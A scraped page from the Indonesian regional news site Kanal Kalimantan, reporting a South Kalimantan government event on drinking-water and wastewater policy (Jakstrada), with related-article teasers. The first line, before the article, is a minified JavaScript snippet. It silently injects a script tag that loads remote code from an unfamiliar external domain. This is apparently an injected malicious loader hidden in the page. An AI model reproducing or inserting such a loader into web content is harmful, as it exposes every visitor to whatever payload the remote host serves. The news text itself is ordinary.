(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan menggelar Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) untuk Sistem Penyediaan Air Minum (SPAM) dan Sistem Pengelolaan Air Limbah Domestik (SPALD) di Banjarbaru, Kamis (17/4/2025) siang.
Kegiatan yang dilaksanakan dalam upaya meningkatkan layanan air minum dan pengelolaan air limbah domestik itu dihadiri 70 peserta dari berbagai stakeholder terkait dengan menghadirkan narasumber dari Bappeda, Tim Pembina Posyandu.
Plt Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel, M Yasin Toyib, yang diwakili oleh Kepala Seksi Penyehatan Lingkungan Permukiman dan Air Minum, Angga Rinaldi Rizal, menyampaikan pentingnya JAKSTRADA dalam mendukung pencapaian target layanan air minum dan sanitasi yang layak.
“Kebijakan ini merupakan langkah strategis untuk memenuhi target yang telah ditetapkan dalam Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Provinsi Kalsel,” ungkap Angga.
Baca juga: Hadapi MTQ Ke-36 Kalsel, LPTQ Kabupaten Banjar Gelar Training Center
Dia menegaskan bahwa sesuai dengan target RPJMN 2025-2029, diharapkan 100% akses air minum layak termasuk 69% air minum aman, serta 100 persen akses sanitasi layak termasuk 25 persen akses aman.
“Kami juga berkomitmen untuk mengeliminasi praktik buang air besar sembarangan di tempat terbuka,” tambah dia.
Untuk itu, lanjut Angga, pencapaian target tersebut memerlukan kolaborasi multisektor dan multiaktor.
“Melalui kebijakan dan strategi ini, kami ingin memudahkan dan mengarahkan pemangku kepentingan di Provinsi Kalimantan Selatan.
Sinergi antar sektor dan pelaku sangat penting untuk mencapai tujuan bersama,” jelas dia.
Baca juga: Unggul Sementara 51,43 Persen, Lisa – Wartono Deklarasi Kemenangan PSU Pilwali Banjarbaru
Dia mengajak partisipasi masyarakat dan perusahaan swasta untuk meningkatkan layanan.
“Kolaborasi dengan pihak swasta melalui dana CSR dan partisipasi masyarakat akan sangat membantu dalam memperkuat upaya peningkatan layanan yang berkelanjutan,” ujar dia.
Dengan diimplementasikannya JAKSTRADA untuk air minum dan air limbah domestik, diharapkan akan terjadi peningkatan signifikan dalam capaian layanan, yang pada gilirannya mendukung derajat kesehatan masyarakat Kalimantan Selatan.
“Kami percaya bahwa dengan kolaborasi dan dukungan semua pihak, kita dapat mencapai tujuan ini dan memberikan kualitas hidup yang lebih baik bagi masyarakat,” pungkas dia. (kanalkalimantan.com/MCKalsel/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.